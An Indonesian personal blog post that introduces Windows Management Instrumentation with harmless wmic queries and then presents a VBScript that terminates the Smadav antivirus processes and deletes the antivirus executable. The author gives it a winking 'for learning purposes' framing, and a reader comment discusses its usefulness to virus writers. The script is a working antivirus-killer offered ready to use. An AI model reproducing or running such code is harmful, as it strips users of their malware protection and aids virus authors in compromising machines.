Bermain-main Dengan WMI (Windows Management Instrumentation) | NitrouZ Personal Pages

Bermain-main Dengan WMI (Windows Management Instrumentation)

Beberapa hari ini saya lagi tertarik dengan yang namanya WMI (Windows Management Instrumentation). Setelah ngubek2 MSDN dan googling sedikit, akhirnya ketemu beberapa referensi. Ok, langsung saja untuk percobaan kali ini, digunakan Windows® XP SP3. Jalankan WMI command line dengan memilih menu Start -> Run -> wmic. Ketika dijalankan pertama kali, wmic akan melakukan proses instalasi. Nah, setelah berada pada prompt wmic, kita bisa menjalankan instruksi yang diinginkan. Contohnya seperti ini:

wmic:root\cli>bios get name
Name
Phoenix ROM BIOS PLUS Version 1.10 A02

wmic:root\cli>process where name="foobar2000.exe" get executablepath,processid
ExecutablePath                                         ProcessId
H:\Program Files\multimedia\foobar2000\foobar2000.exe  1544

wmic:root\cli>

Untuk lebih jelasnya, beberapa class yang bisa digunakan bisa dibaca pada bagian referensi. Setelah bermain-main dengan wmic, tiba saatnya warm-up code. Untuk pengujian kali ini, kita akan menggunakan objek WMI untuk mematikan proses smadav dan bukan hanya itu, kita akan menghapus smadav *cough* untuk tujuan pembelajaran *cough*. Berikut ini kodenya:

set sysobj = createobject("scripting.filesystemobject")
set wmiobj = getobject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
set target = wmiobj.execquery("select * from win32_process where name='SM?RTP.exe'")

'-- matikan proses smadav (rtp dan scanner)
'-- dan simpan pathnya ke variabel fpath
for each victim in target
  fpath = victim.ExecutablePath
  victim.Terminate(0)
next

'-- istirahat sebentar dan hapus smadav
wscript.sleep 1000
if sysobj.fileexists(fpath) then sysobj.deletefile(fpath)

Ingat, kode di atas disimpan menggunakan format unicode soalnya nama smadav menggunakan unicode. ok, sekian dulu tutorial singkat kali ini. Terima kasih kepada: Tuhan Yang Maha Esa, TKP Crew and you ;)

referensi: MSDN: WMI Win32 Classes

One Response to Bermain-main Dengan WMI (Windows Management Instrumentation)

  1. M2R July 14, 2010 at 16:11 #

    tp kyanya g bkalan di pke vxer, males bawa2 WMI di virusnya :P

    kecuali menjadi fitur yg optional. wekekeke

Leave a Reply